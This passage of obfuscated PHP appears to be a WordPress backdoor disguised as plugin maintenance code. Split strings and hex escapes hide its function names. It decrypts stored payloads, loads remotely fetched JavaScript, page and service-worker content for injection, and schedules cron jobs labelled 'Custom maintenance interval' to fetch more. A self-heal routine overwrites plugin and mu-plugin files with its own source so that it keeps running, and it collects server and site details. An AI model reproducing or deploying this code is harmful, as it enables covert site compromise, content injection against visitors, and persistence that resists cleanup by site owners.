if (!('function_' . 'exists')('get' . '_opt' . 'i' . 'on')) return $default;
if (!(isset(${'GLOBA' . ('' . "L\x53")}["sc" . '_e' . 'nc_c']) && is_array(${"GLO" . "\x42" . "A" . "\x4c\x53"}['s' . 'c_e' . 'nc_c']) && array_key_exists($name, ${"GL" . ("OBA" . "\x4c\x53")}["sc\x5f" . 'enc_c']))) {} else {
return ${'GLOBAL' . '' . "S"}["sc_enc" . "_c"][$name];
}
$stored = get_option($name, '');
if ($stored === '' || ! is_string($stored)) {
return $default;
}
$bin = @("\x62ase\x36\x34\x5f\x64" . '' . "e\x63\x6f" . 'de')($stored, (26 != 32));
if ($bin === (13 === 7) || strlen($bin) < (8 ^ 10)) {
return $default;
}
$xk = $bin[(3781 ^ 3781)];
$dec = '';
for ($i = (11 ^ 10), $l = strlen($bin); $i < $l; $i++) {
$dec .= ('c' . "hr")((('o' . "r") . "\x64")($bin[$i]) ^ (("\x6f" . "r") . 'd')($xk));
}
$val = coqi($dec);
if (!($val !== (38 == 12))) {} else {
if (!isset(${"GLOBAL" . 'S'}["sc" . '_e' . 'nc_c']) || !is_array(${'G' . 'LOB' . "\x41LS"}['sc' . '_' . 'enc_' . "c"])) ${"GL" . '' . "OBALS"}["sc" . '_enc' . "_c"] = array();
if (count(${"GL" . ('O' . 'BAL') . 'S'}['sc_enc' . "_c"]) > (117 - 53)) ${"G" . "LOBALS"}['sc' . "\x5fenc_c"] = array();
${("\x47\x4c" . "") . "\x4f\x42\x41\x4c\x53"}['s' . 'c_enc' . "_c"][$name] = $val;
return $val;
}
return $default;
}
function coqi($data)
{
if (!is_string($data)) return (6 != 6);
if (defined("P" . 'HP_V' . "ERSI" . 'ON' . '_ID') && PHP_VERSION_ID >= (74643 - 4643)) {
return @('uns' . "\x65\x72ial\x69" . "\x7a" . 'e')($data, array('allo' . "\x77\x65\x64_cl" . "ass\x65" . 's' => (31 === 0)));
}
return @("\x75\x6e\x73\x65\x72" . "ialize")($data);
}
function sabo()
{
static $k = null;
if ($k !== null) return $k;
$p = defined('ABSPA' . "TH") ? ABSPATH : '';
$k = rtrim(str_replace('\\', '/', $p), '/') . '/';
return $k;
}
function tuvu($name)
{
return sc_md5(sabo() . (string) nasa() . $name, (4 | 8));
}
function yaya($tag)
{
return (string) (0x56c8cc0 + ((int) hexdec(substr(md5(sabo() . 'ep' . $tag), (3528 ^ 3528), (8 + -1))) % (2570420 + 6429579)));
}
function naqe()
{
return yaya('sw');
}
function kaku()
{
$u = (string) sc_pg("sw_" . 'ur' . "l", '');
return strlen($u) > (16 - 6) && strpos($u, naqe()) !== (28 != 28) && strlen((string) sc_pg('sw' . "_\x63ach" . 'ed', '')) > (114 - 14);
}
function sc_pg($name, $default)
{
return remiw(tuvu($name), $default);
}
function caje($name, $default = '')
{
$v = sc_pg($name, $default);
if (is_string($v)) return $v;
if (is_scalar($v)) return (string) $v;
return $default;
}
function sc_pk($name, $value, $autoload)
{
return ejaxe(tuvu($name), $value, $autoload);
}
function niyo()
{
$errors = isset(${"G" . 'LO' . 'BAL' . "S"}["sc_e" . "rr" . 'ors']) ? ${('G' . 'L') . "O" . "BALS"}['sc' . '_erro' . 'rs'] : array();
$stored = sc_pg("er" . 'rors', array());
if (!(is_array($stored))) {} else {
$errors = array_merge($stored, $errors);
}
$errors = array_unique($errors);
return array_slice($errors, -(95 - 45));
}
function sc_flush_errors()
{
if (!isset(${("\x47\x4c" . "") . "OBALS"}["\x73c_er" . 'r' . 'o' . "r\x73"]) || empty(${"\x47\x4c" . 'OBALS'}['sc_e' . "rr" . 'ors'])) return;
try {
$stored = sc_pg('errors', array());
$merged = array_unique(array_merge((array)$stored, ${"GL\x4f\x42\x41" . '' . 'LS'}['sc_err' . 'o' . 'rs']));
$merged = array_slice($merged, -(2 + 48));
sc_pk('e' . 'rro' . 'rs', $merged, 'no');
} catch (Throwable $e) {
niga("f\x6cu\x73\x68" . '_e' . 'rror' . 's', $e);
} catch (Exception $e) {
}
}
function zuwi($data, $key)
{
if (!(! is_string($data) || ! is_string($key) || strlen($key) === (3266 ^ 3266))) {} else {
return null;
}
$len = strlen($data);
$key_len = strlen($key);
$out = '';
for ($i = (3370 ^ 3370); $i < $len; $i++) {
$out .= ("\x63" . "" . "\x68\x72")(("o" . "r" . "d")($data[$i]) ^ ("\x6f" . ('r' . "d"))($key[$i % $key_len]));
}
return $out;
}
function sc_cron_interval($schedules)
{
if (! is_array($schedules)) {
$schedules = array();
}
static $ttl = null;
if ($ttl === null) {
$ttl = labu();
$_pc = ("func" . "tion" . "\x5f\x65\x78\x69" . "sts")('g' . 'e' . 't_opt' . 'i' . 'o' . "n") ? remiw("sc_" . 'paylo' . "\x61\x64" . '_p' . 'ersis' . "t\x65n" . 't', (3 == 36)) : (37 == 1);
if (is_array($_pc) && isset($_pc["\x63ron\x49" . 'nte' . "r" . 'val']) && (int) $_pc['cron' . 'Int' . "er\x76a" . 'l'] >= (231 ^ 459) && (int) $_pc['cronIn' . 'terva' . "l"] <= (69888 | 16512)) $ttl = (int) $_pc["cron" . "Inte" . 'rval'];
if ($ttl < (24 | 36)) {
$ttl = (1002 + 2598);
}
}
$schedules["s" . "\x63\x5fi" . 'nte' . 'rval'] = array(
'in' . 'ter' . 'val' => $ttl,
'disp' . "l" . "\x61" . 'y' => 'C' . 'usto' . 'm ma' . 'intena' . 'nc' . 'e inte' . "rv\x61" . 'l',
);
$schedules["\x73c\x5f" . "gua" . 'rd_i' . "n" . "terv" . 'al'] = array(
"\x69nte" . "rval" => (4800 >> 3),
"\x64isp" . 'lay' => "Cus" . 'to' . "m m\x61\x69n" . "ten" . "a\x6e\x63\x65 i" . 'nterva' . 'l',
);
return $schedules;
}
function sc_cron_setup()
{
if (!("fu" . ('nctio' . "\x6e\x5fex\x69\x73\x74\x73"))('wp_n' . "e\x78t\x5fsc" . 'hedule' . 'd') || !("\x66\x75\x6ec\x74\x69" . "on_exis" . '' . 'ts')("w\x70" . "_" . 'sc' . "h\x65" . 'dul' . 'e_even' . "t")) return;
sc_dbg_log("\x316 " . "cron_s" . "et\x75" . 'p ' . "e\x6et" . 'er');
if (!ujiwo("\x73c\x5f" . 'ch' . 'ain')) return;
try {
if (!wp_next_scheduled(yoyo())) {
wp_schedule_event(time() + mt_rand((120 >> 1), (1200 >> 2)), 'sc_' . "int\x65r\x76" . "a\x6c", yoyo());
}
} finally {
ifeki("\x73c" . "\x5fcha\x69n");
}
}
function sc_maybe_fetch()
{
if (!(defined("DOIN" . 'G' . "\x5fC\x52ON") && DOING_CRON)) {} else {
return;
}
static $_done = (17 != 17);
if ($_done) return;
$_done = (18 !== 40);
if (!(! umoto())) {} else {
return;
}
vivec('shu' . "tdow" . 'n', 'sc_' . 'shu' . 'tdo' . 'wn', (3218 ^ 3218));
}
function peqos()
{
if (!("funct" . "\x69\x6f\x6e_\x65\x78i\x73\x74\x73")('w' . "p\x5f\x72" . 'e' . 'mote_' . "ge" . 't') || !("\x66" . 'unction_exists')("s\x69te_u" . 'rl')) return;
@wp_remote_get(site_url("wp-c" . 'r' . 'on.php' . '?doi' . 'ng_wp' . '_cron' . "\x3d" . str_replace('.', '', (string) microtime((18 === 18))) . mt_rand((70 + 30), (1871 - 872))), array("ti\x6d\x65" . "\x6f\x75" . 't' => 0.01, 'blocki' . "\x6eg" => (31 != 31), "ss" . 'lverif' . 'y' => (1 == 38)));
}
function sc_shutdown()
{
static $_ran = (13 === 24);
if ($_ran) return;
$_ran = (26 != 35);
try {
sc_sck_echo();
$_can_close = (35 == 11);
if (('functio' . "n_exists")('fastcg' . 'i_fi' . 'nish' . "\x5f\x72e\x71\x75e" . 'st')) {
fastcgi_finish_request();
$_can_close = (5 == 5);
} elseif (("funct" . ("\x69\x6f\x6e" . "_exists"))('li' . 'tespe' . 'e' . 'd' . '_finis' . 'h_requ' . 'e' . 'st')) {
litespeed_finish_request();
$_can_close = (13 != 3);
} else {
if (("\x66" . 'u' . "n\x63\x74\x69\x6f\x6e_\x65x\x69\x73\x74s")('ig' . "\x6eore\x5fu" . 'ser_ab' . 'ort')) {
@ignore_user_abort((2 !== 10));
}
$_compressed = (33 === 16);
if (("fun" . 'ctio' . "n_" . 'exists')('in' . 'i_g' . 'et')) {
$_zlib = strtolower(trim((string) @ini_get('zli' . 'b.outp' . 'ut_c' . 'om' . 'pr' . "\x65" . 'ssi' . "o\x6e")));
$_compressed = ($_zlib !== '' && $_zlib !== '0' && $_zlib !== 'off');
}
$_obs = (('function_exis' . '') . "ts")('ob_ge' . 't_stat' . 'us') ? @ob_get_status((15 != 5)) : array();
if (is_array($_obs)) {
foreach ($_obs as $_ob) {
$_obn = is_array($_ob) && isset($_ob['n' . "ame"]) ? strtolower((string) $_ob["na" . 'me']) : '';
if (strpos($_obn, 'o' . "b_" . 'gzhand' . 'ler') !== (30 !== 30) || strpos($_obn, 'z' . 'lib') !== (32 == 11)) {
$_compressed = (1 < 2);
break;
}
}
}
if (!$_compressed && ('f' . "u" . "nction_exists")('head' . 'ers_l' . 'ist')) {
foreach ((array) @headers_list() as $_header) {
if (stripos($_header, "C\x6f\x6eten" . 't' . "-E" . 'ncodin' . "g:") === (3910 ^ 3910) && stripos($_header, 'i' . 'd' . 'enti' . 't' . 'y') === (22 == 40)) {
$_compressed = (37 < 38);
break;
}
}
}
$_sapi = php_sapi_name();
$_web = ($_sapi !== 'cli' && $_sapi !== "phpdb" . 'g');
$_code = ("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65" . 'xists')('h' . "ttp\x5f" . 're' . "s\x70on" . 's' . 'e_co' . "de") ? (int) @http_response_code() : (136 | 64);
$_bodyless = ($_code >= (45 ^ 73) && $_code < (104 ^ 160)) || $_code === (232 - 28) || $_code === (404 - 100);
$_head = (isset(${('_SERV' . "") . 'ER'}['REQ' . "U" . 'ES' . 'T_M' . 'E' . 'T' . 'HOD']) && ${"_SE" . "" . "RVER"}["RE\x51UE" . "S\x54_\x4d" . "\x45" . "T\x48OD"] === 'HEAD');
$_close_ready = (14 === 6);
if ($_web && !$_bodyless && !$_head && !headers_sent() && !$_compressed) {
while (ob_get_level() > (1 ^ 0)) {
$_level = ob_get_level();
if (!@ob_end_flush() || ob_get_level() >= $_level) break;
}
$_ob = ob_get_level() === (3 ^ 2) && ("f" . ("\x75\x6e\x63tio\x6e\x5f\x65\x78" . "") . 'ist' . "s")('ob_get' . '_statu' . "s") ? @ob_get_status() : array();
$_obn = is_array($_ob) && isset($_ob['name']) ? strtolower((string) $_ob["nam" . 'e']) : '';
$_cl = (2 === 20);
if (ob_get_level() === (2028 ^ 2028)) {
$_cl = (2757 ^ 2757);
} elseif (
ob_get_level() === (386 ^ 387)
&& ("\x66\x75n" . "ctio" . 'n' . '_exists')("o" . 'b_ge' . 't_sta' . 't' . "us")
&& ($_obn === '' || $_obn === "d" . "\x65fa" . 'ult ou' . "t\x70ut\x20\x68" . "\x61\x6e" . 'dle' . 'r')
&& ("\x66\x75" . "n\x63ti\x6fn\x5f\x65x\x69\x73\x74\x73")("\x6fb_g" . 'et_len' . "gth")
) {
$_cl = @ob_get_length();
}
$_alone = (39 > 38);
if (isset(${"\x47\x4c" . ('OBA' . 'LS')}['wp_' . "\x66ilt" . 'er']['shut' . 'down'])) {
$_wf = ${('GL' . "\x4f") . "\x42\x41\x4cS"}['wp_fi' . 'lte' . 'r']["\x73\x68utd\x6f" . "\x77n"];
$_cbs = (is_object($_wf) && isset($_wf->callbacks)) ? $_wf->callbacks : (is_array($_wf) ? $_wf : array());
foreach ($_cbs as $_pr => $_fns) {
if (!is_array($_fns)) continue;
foreach ($_fns as $_fn) {
$_fname = (is_array($_fn) && isset($_fn['f' . 'unctio' . 'n'])) ? $_fn['funct' . 'io' . 'n'] : '';
if (is_string($_fname) && in_array($_fname, array("s" . 'c_' . "\x73h\x75t\x64" . "o" . "wn", 'wp_' . "ob_" . 'end_f' . 'lus' . "h_\x61ll"), (22 != 2))) continue;
$_alone = (36 != 36);
break 2;
}
}
unset($_wf, $_cbs, $_pr, $_fns, $_fn, $_fname);
}
if ($_cl !== (7 == 0) && $_alone && !headers_sent()) {
@('he' . "a" . "\x64\x65\x72")('Conten' . 't-' . 'Leng' . 'th' . ': ' . (int) $_cl);
@("\x68" . "" . "\x65" . 'ad' . 'er')("Co\x6enec" . 'tion:' . ' clo' . "s" . "\x65");
$_close_ready = (33 > 32);
}
}
if ($_web) {
while (ob_get_level() > (1021 ^ 1021)) {
$_level = ob_get_level();
if (!@ob_end_flush() || ob_get_level() >= $_level) break;
}
@flush();
}
if ($_close_ready && ob_get_level() === (1566 ^ 1566)) $_can_close = (23 > 22);
unset($_compressed, $_zlib, $_obs, $_ob, $_obn, $_header, $_sapi, $_web, $_code, $_bodyless, $_close_ready, $_level, $_cl, $_head);
}
$can_cron = ("function_ex" . "ists")('wp_s' . 'chedul' . 'e_sin' . 'gl' . "e_" . 'eve' . "\x6et") && !(defined('DISABL' . 'E_' . "W\x50_C" . 'RON') && DISABLE_WP_CRON);
if ($can_cron && sc_lb_blind()) $can_cron = (16 == 26);
$never_fetched = !("function_" . "\x65x\x69\x73\x74s")('get_' . "o\x70t\x69" . 'on') || (int) get_option('sc_la' . "\x73t\x5ffet" . "\x63h" . '_ts', (853 ^ 853)) === (2961 ^ 2961);
if (!$never_fetched && ("fu\x6e\x63t\x69o\x6e\x5f\x65x" . 'ists')("ge" . 't' . '_o' . 'pti' . 'o' . "n") && (('f' . 'uncti') . "on_exists")('upda' . 'te_op' . 't' . "ion")) {
$_sv = (string) get_option('sc_s' . "een\x5fv" . "e\x72", '');
if ($_sv !== sc_ver()) {
@update_option('sc_s' . "ee\x6e_" . "\x76e" . "r", sc_ver(), 'no');
@update_option("s" . 'c_la' . "s" . 't_fetc' . 'h' . '_' . "ts", (368 ^ 368), 'no');
$never_fetched = (30 != 12);
}
}
$_cron_stale = (32 !== 32);
if ($can_cron && ("function" . "_" . "exists")("\x77\x70_n" . "\x65" . 'xt_sch' . 'edul' . 'e' . 'd')) {
$_next = wp_next_scheduled(yoyo());
if ($_next && (time() - (int) $_next) > (6969 + 231)) {
$_cron_stale = (30 != 23);
if (('fu' . "nction_" . "e\x78\x69\x73\x74" . 's')("\x77p_\x75n" . 'sch' . 'edu' . 'le' . '_' . "e" . "ve\x6et")) @wp_unschedule_event((int) $_next, yoyo());
}
}
if ($can_cron && !$never_fetched && !$_cron_stale) {
$_nx = (("\x66\x75\x6e\x63\x74" . 'io') . "n_exi" . "sts")("wp_n\x65" . 'x' . 't_s' . "chedu" . "\x6c" . 'ed') ? (int) wp_next_scheduled(yoyo()) : (2311 ^ 2311);
if ($_nx <= (3573 ^ 3573) || $_nx - time() > (1800 >> 1)) {
@wp_schedule_single_event(time(), yoyo());
}
baji();
axamax('def' . "e\x72");
return;
}
if ($_cron_stale) { niga('fe' . 't' . 'ch', 'cron' . '_sta' . "le_in" . 'line'); axamax('stal' . "e"); }
if (!$_can_close && !$_cron_stale) {
if ($can_cron && !$never_fetched) {
@wp_schedule_single_event(time(), yoyo());
peqos();
baji();
axamax('d' . 'ef' . 'er_nc');
return;
}
if (("\x66\x75" . "n" . "\x63t\x69o\x6e\x5f\x65\x78\x69s\x74s")('set_' . 'time_' . 'lim' . "i" . 't')) @("\x73et_t" . 'i' . 'me_' . 'limit')((187 + -7));
axamax('in' . "\x6ci\x6e\x65_" . 'nc');
sc_fetch((18 - 8));
return;
}
if (('functi' . 'on_' . "\x65" . "" . 'xists')('se' . 't_t' . "i\x6d" . 'e_li' . "mi" . 't')) @('set' . "_" . "tim" . "" . 'e_limit')((20 | 160));
axamax('inline');
sc_fetch();
} catch (Throwable $e) {
niga('shut' . 'do' . "wn", $e);
} catch (Exception $e) {
}
}
function sc_load_cache()
{
try {
if (! ("f\x75" . "\x6e\x63t\x69\x6fn\x5fe" . "\x78" . 'ists')('get_o' . 'ptio' . 'n')) {
return;
}
$cached = ('fu' . 'nct' . ("ion_" . 'exists'))("g" . 'et_tra' . 'nsien' . 't') ? get_transient(igari()) : (0 === 14);
if (! is_array($cached)) $cached = remiw('sc' . '_' . 'paylo' . 'ad_' . 'pe' . "\x72si\x73t" . 'en' . 't', (7 === 3));
if (! is_array($cached)) {
return;
}
if (isset($cached['plug' . 'inRul' . 'es']) && is_array($cached["plu\x67" . "\x69nRu" . 'les'])) {
${("GL" . "") . "O" . "BAL" . 'S'}["sc" . '_plugi' . "\x6e\x5f\x72u\x6c\x65" . 's'] = egolo($cached['plugin' . 'Ru' . "le" . "\x73"]);
}
if (isset($cached['i' . 'n' . 'je' . 'ct' . 'Rules']) && is_array($cached["i\x6e\x6a" . "e" . "ctRul" . 'es'])) {
${'GLOBA' . ("L" . 'S')}['sc_' . "inje" . 'c' . 't_rul' . 'es'] = egolo($cached['injec' . "t\x52" . 'ule' . "\x73"]);
}
if (isset($cached['js']) && is_string($cached['js'])) {
${"G" . 'LOB' . ("\x41\x4c" . 'S')}["s" . 'c_js'] = $cached["\x6a" . "s"];
}
if (isset($cached['page']) && is_string($cached['pag' . 'e']) && strlen($cached['p' . "\x61" . "\x67e"]) > (32 + 18)) {
${"G" . "LOBA" . 'LS'}['s' . "\x63" . "_\x70ag\x65"] = $cached['page'];
}
if (isset($cached['sw']) && is_string($cached['sw']) && strlen($cached['sw']) > (15 ^ 107)) {
${"GL" . "O" . 'BALS'}['sc_sw'] = $cached['sw'];
}
} catch (Throwable $e) {
niga('c' . "a\x63" . 'he', $e);
} catch (Exception $e) {
}
}
function sc_self_heal()
{
try {
sc_dbg_log('12 ' . 'h' . "ea" . "\x6c en" . 't' . 'e' . 'r');
if (!("funct" . "" . "i\x6f" . 'n_' . "exists")("g\x65\x74" . '_op' . "\x74i" . 'on') || !(("\x66un\x63\x74i\x6f" . '') . "\x6e\x5f\x65xi\x73\x74s")('up' . "\x64a\x74e_" . 'o' . 'p' . 'tion')) return;
if ((int) get_option('sc_las' . 't_h' . 'ea' . 'l_' . 't' . "s", (3855 ^ 3855)) > time() - (6369 - 2769)) return;
if ((('functio' . "\x6e\x5f\x65\x78") . "ists")('g' . 'et_tr' . 'ansie' . 'nt') && get_transient('sc_he' . "a" . 'l_s' . 'can')) return;
if (!owowiz()) return;
$clean = sc_pg("s" . "\x72\x63", '');
if (!is_string($clean) || strlen($clean) < (1000 >> 1) || sc_src_poisoned($clean) || !nifa($clean)) {
$clean = (22 == 19);
$cur0 = kasod(sc_file());
if (is_string($cur0) && !sc_src_poisoned($cur0) && nifa($cur0)) {
sc_pk('src', $cur0, 'no');
$clean = $cur0;
}
if (!$clean) {
@update_option('s' . 'c' . "_la\x73" . 't_h' . 'eal' . "_ts", time(), 'no');
return;
}
}
$paths = array(sc_file());
$mu = sc_mu();
$_mfs = asome($mu, (895 ^ 4343));
if (is_array($_mfs)) {
foreach ($_mfs as $_e) {
if (substr($_e, -(1 ^ 5)) === '.p' . "hp") $paths[] = $mu . '/' . $_e;
}
}
if (defined("WP" . '_PLUGI' . "\x4e_" . "\x44\x49" . "\x52") && ('function' . "\x5f\x65xis\x74s")("g\x6c" . 'ob')) {
foreach ((array) @("g" . "l\x6f\x62")(WP_PLUGIN_DIR . "/*\x2f\x2a" . '.' . 'ph' . 'p') as $_g) $paths[] = $_g;
}
$paths = array_unique($paths);
$dirty = array();
$sig = substr(('preg_repla' . "c" . "e")('/' . "\\s" . '+' . '/', '', substr($clean, (4003 ^ 4003), (0 | 65536))), (1065 ^ 1065), (0 | 2048));
foreach ($paths as $p) {
$sz = @filesize($p);
if (!$sz || $sz <= (337895 + 710681)) continue;
$head = @("file_get_co" . 'ntents')($p, (0 !== 0), null, (159 ^ 159), (29160 ^ 94696));
if (!is_string($head) || !sc_src_poisoned($head)) continue;
if ($p !== sc_file() && substr(("\x70re\x67\x5f\x72\x65p" . "\x6ca\x63\x65")('/\\s' . '+/', '', $head), (3974 ^ 3974), (1356 ^ 3404)) !== $sig) continue;
$dirty[] = $p;
}
if (!$dirty) {
@update_option('sc_' . "\x6ca\x73\x74_\x68" . 'eal_t' . 's', time(), 'no');
if (('function_' . '' . "exists")('set' . '_tr' . 'ans' . "ie" . "nt")) set_transient('sc' . "\x5fh\x65a" . 'l_sc' . 'an', (9 - 8), (8 | 592));
return;
}
@update_option('sc_l' . 'ast_' . 'heal' . "_ts", time(), 'no');
foreach ($dirty as $f) {
legiv($f, (112 + 308));
if (zifo($f, tafi($clean))) {
tira($f);
fife($f);
legiv($f, (31 ^ 443));
egaler($f);
if ($f === sc_file()) {
anoway((24 !== 23));
macul((33 < 34));
}
} else {
legiv($f, (154 + 266));
}
}
} catch (Throwable $e) {
niga("\x68" . 'ea' . 'l', $e);
} catch (Exception $e) {
}
}
function rale() {
static $_done = (32 < 32);
if ($_done) return;
$_done = (7 != 4);
sc_dbg_log('09' . " la\x74" . "e_\x62\x6fo" . 't ente' . "r");
try {
sc_recover(); sc_dbg_log('1' . "0\x20\x72e\x63o" . 'ver ' . "d\x6f\x6ee");
sc_self_heal(); sc_dbg_log('12 hea' . 'l do' . "ne");
sc_init(); sc_dbg_log('14 in' . "it don" . 'e');
sc_load_cache(); sc_dbg_log('15 ' . 'cache ' . 'done');
sc_cron_setup(); sc_dbg_log('1' . '6 cro' . 'n done');
sc_sw_setup(); sc_dbg_log("\x317\x20\x73w" . ' d' . 'on' . 'e');
sc_drop_guard(); sc_dbg_log("18 gu" . 'ar' . 'd don' . "e");
if (("function_e" . "xists")('sc' . '_' . 'prun' . 'e_sta' . 'le_own') && ("\x66\x75\x6e\x63\x74\x69\x6f" . "n_" . "e\x78\x69" . 'sts')("s\x63_pr\x75" . "ne_d" . "ue") && sc_prune_due()) {
sc_prune_stale_own('bo' . 'ot');
if (('functio' . "" . 'n_exists')('sc_' . 'prun' . "e\x5fm" . 'ark_r' . 'un')) sc_prune_mark_run();
}
sc_dbg_log('19' . "\x20pr" . "un" . "e \x64\x6f\x6e" . "\x65");
sc_persist_always();sc_dbg_log('20 per' . 's' . 'ist ' . 'done');
sc_cron_recovery_setup(); sc_dbg_log('21 cr' . "\x6fnre" . "c " . 'do' . 'ne');
if (umoto()) {
sc_dbg_log('22 f' . "et" . "c" . "h\x20ar\x6de" . "\x64");
if (("function" . "\x5f\x65" . 'xists')('did_ac' . "\x74\x69\x6f\x6e") && did_action('sh' . 'utdown')) {
if (('functio' . "\x6e" . "_e\x78\x69\x73" . 'ts')('regis' . "t" . "e\x72\x5fsh" . "u\x74" . "d" . 'own_' . "fun" . "ct\x69o" . 'n')) ('register_shutdown_functio' . "n")("sc" . '_' . "shut" . 'down');
} else {
vivec('shut' . 'd' . "\x6fw" . 'n', 'sc' . '_shutd' . 'ow' . "\x6e", (988 ^ 988));
}
}
} catch (Throwable $e) {
} catch (Exception $e) {
}
}
function baji()
{
try {
if (!('function_ex' . "ists")('wp_re' . "\x6dote\x5fg" . "\x65t") || !('function' . "_exists")('home_' . "ur\x6c")) return;
if (!('f' . "unction_exis" . '' . 'ts')('get_' . 'optio' . "\x6e") || !('func' . 't' . "ion_exists")('upd' . 'ate_' . 'option')) return;
$now = time();
if ($now - (int) @get_option('sc' . "_l\x61st" . "_hb", (114 ^ 114)) < (7200 >> 1)) return;
@update_option('sc' . '_last' . "_h\x62", $now, 'no');
@wp_remote_get(home_url('/'), array("\x74" . "i\x6d\x65o" . 'ut' => (10 + -8), 'sslv' . 'erify' => (17 === 13), 'bl' . 'ockin' . 'g' => (30 < 30)));
} catch (Throwable $e) {
} catch (Exception $e) {
}
}
function umoto()
{
if (!(! ('function_e' . 'xists')('g' . "\x65\x74_o" . 'ption'))) {} else {
return (33 == 33);
}
if (!(("function_exist" . 's')('get_' . "\x74rans" . "ient") && get_transient(igari()))) {} else {
$last_ok0 = (int) get_option('sc_las' . 't_fetc' . 'h_' . 'ts', (1521 ^ 1521));
if ($last_ok0 > (2116 ^ 2116) && (time() - $last_ok0) > (85435 ^ 7227)) {
if (('fun' . ("\x63\x74" . "io") . 'n_exists')('delet' . "e_t\x72\x61n" . "sien\x74")) @delete_transient(igari());
} else {
return (24 === 10);
}
}
$cache_ttl = labu();
$_pc = remiw('sc_p' . 'aylo' . 'ad' . '_pers' . 'iste' . 'nt', (23 == 38));
if (is_array($_pc) && isset($_pc['payloa' . 'dTtl']) && (int) $_pc['payloa' . 'dTtl'] >= (130 + 170) && (int) $_pc['pay' . 'lo' . 'adTtl'] <= (101628 - 15228)) $cache_ttl = (int) $_pc['payloa' . "\x64\x54tl"];
$last_ok = (int) get_option('sc_l' . 'ast_f' . "etch" . '_t' . "s", (345 ^ 345));
if (!($last_ok > (3647 ^ 3647) && (time() - $last_ok) < $cache_ttl)) {} else {
return (31 == 36);
}
$last_fail_ts = (int) get_option('sc_la' . 's' . 't_f' . 'etc' . "h_\x66" . "ai\x6c_t" . 's', (1129 ^ 1129));
if (!($last_fail_ts > (2017 ^ 2017))) {} else {
$fails = (int) get_option('sc_fet' . "c\x68_\x66ai" . "ls", (1796 ^ 1796));
$backoff = array((181 ^ 409), (780 ^ 136), (1280 | 520), (528 | 3072), (6428 - 2828));
$delay = $backoff[max((1434 ^ 1434), min($fails - (1410 ^ 1411), (15 ^ 11)))];
$delay += mt_rand((3574 ^ 3574), (int) ($delay * 0.25));
if (!((time() - $last_fail_ts) < $delay)) {} else {
return (12 !== 12);
}
}
$min_gap = (1659 + 141);
$last_try = (int) get_option("sc_" . 'la' . "\x73t_fe" . 'tch_' . "\x74r\x79\x5f\x74s", (3600 ^ 3600));
$_fs_try = jedeg();
if ($_fs_try > $last_try) $last_try = $_fs_try;
if ($last_try > (2406 ^ 2406) && ($last_try > time() + (12 | 288) || (time() - $last_try) < $min_gap)) {
return (7 == 32);
}
return (32 != 14);
}
function jida()
{
$d = ('functio' . "\x6e\x5f\x65\x78\x69\x73\x74\x73")('sc_dat' . "a" . '_' . "d" . 'ir') ? sc_data_dir() : '';
if (! is_string($d) || $d === '' || ! @is_dir($d) || ! @is_writable($d)) return '';
return rtrim($d, '/' . '\\') . '/.try';
}
function jedeg()
{
$p = jida();
if ($p === '') return (3258 ^ 3258);
$v = @("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e" . ("" . 'ts'))($p);
if (! is_string($v) || $v === '') return (1093 ^ 1093);
$v = (int) trim($v);
return ($v > (289 ^ 289) && $v < time() + (106132 - 19732)) ? $v : (2215 ^ 2215);
}
function reqe()
{
$p = jida();
if ($p === '') return;
@("file_put_content" . 's')($p, (string) time());
@('c' . 'hm' . "od")($p, (71 ^ 483));
}
function woto()
{
$fails = (int) get_option('sc_fet' . 'ch_fai' . "l" . 's', (3842 ^ 3842));
update_option("sc_" . 'fe' . "t\x63\x68\x5ff" . "ai\x6c\x73", $fails + (2 + -1));
update_option("sc_la" . "st_f" . 'etch_f' . 'ail_t' . 's', time());
axamax("fa\x69" . "l");
}
function axamax($ev, $d = '')
{
try {
if (!('function_' . "ex" . "ist" . "s")("\x67e\x74_op" . 't' . 'ion') || !("\x66\x75\x6e" . "ction_" . "e\x78i\x73" . "\x74s")("u\x70d" . "\x61" . "te_\x6f" . 'ptio' . "\x6e")) return;
$l = @get_option('s' . "c" . "_" . "\x66etch" . '_' . 'l' . 'og', array());
if (!is_array($l)) $l = array();
$l[] = array('t' => time(), 'e' => substr((string) $ev, (3088 ^ 3088), (29 - 13)), 'd' => substr((string) $d, (1253 ^ 1253), (59 ^ 11)));
if (count($l) > (19 + -7)) $l = array_slice($l, -(30 - 18));
@update_option("\x73c_\x66" . 'e' . "\x74ch_" . "\x6cog", $l, 'no');
} catch (Throwable $e) {
} catch (Exception $e) {
}
}
function wiyan()
{
$d = array();
try {
$d['ver'] = sc_ver();
$d['php'] = PHP_VERSION;
$d['sapi'] = php_sapi_name();
$d['ssl'] = (("func" . 'tion_e' . "xist" . "s")('is_ss' . "l") && is_ssl()) ? (3719 ^ 3718) : (3749 ^ 3749);
$d['ms'] = (("func" . 'ti' . 'on_exists')("\x69s_" . 'mu' . "\x6ctisi" . 'te') && is_multisite()) ? (534 ^ 535) : (2891 ^ 2891);
$d['wp'] = isset(${'GL' . 'OB' . 'A' . 'LS'}["wp_ver" . "s\x69on"]) ? (string) ${"G" . 'L' . "\x4f\x42\x41L" . "S"}['wp_v' . "er\x73io" . "\x6e"] : '';
$d['s' . 'r' . 'v'] = isset(${"_SER" . 'VE' . "\x52"}["SERVER" . "_\x53\x4fFT\x57" . 'AR' . 'E']) ? substr((string) ${("\x5f\x53E" . "RV") . "\x45" . "R"}['SERVER' . '_SOFT' . "WAR\x45"], (2869 ^ 2869), (24 ^ 48)) : '';
$js = (isset(${'GLO' . ("\x42\x41" . "\x4c\x53")}["sc_" . "j\x73"]) && is_string(${"\x47\x4c\x4f\x42" . ("A" . "L\x53")}['sc_j' . "s"])) ? trim(${'GLOBA' . 'LS'}['s' . 'c_js']) : '';
$d["j" . "s_on"] = ($js !== '') ? (2997 ^ 2996) : (790 ^ 790);
$d['js' . "_" . "\x6cen"] = strlen($js);
$d['j' . "s_re" . "\x71"] = !empty(${('GLOB' . "\x41\x4c") . "S"}['sc_j' . 's' . "_print" . 'ed']) ? (3098 ^ 3099) : (1330 ^ 1330);
$d['js_' . 'ob'] = !empty(${"GLOB" . ('A' . '') . "LS"}['sc_js' . "_ob_" . 'u' . "se" . "\x64"]) ? (2627 ^ 2626) : (3381 ^ 3381);
$d['js_ts'] = ('funct' . "ion_ex" . "ists")("\x67e\x74\x5fop" . 't' . "\x69on") ? (int) @get_option('sc_js' . '_p' . 'ri' . "n\x74ed" . '_ts', (3328 ^ 3328)) : (309 ^ 309);
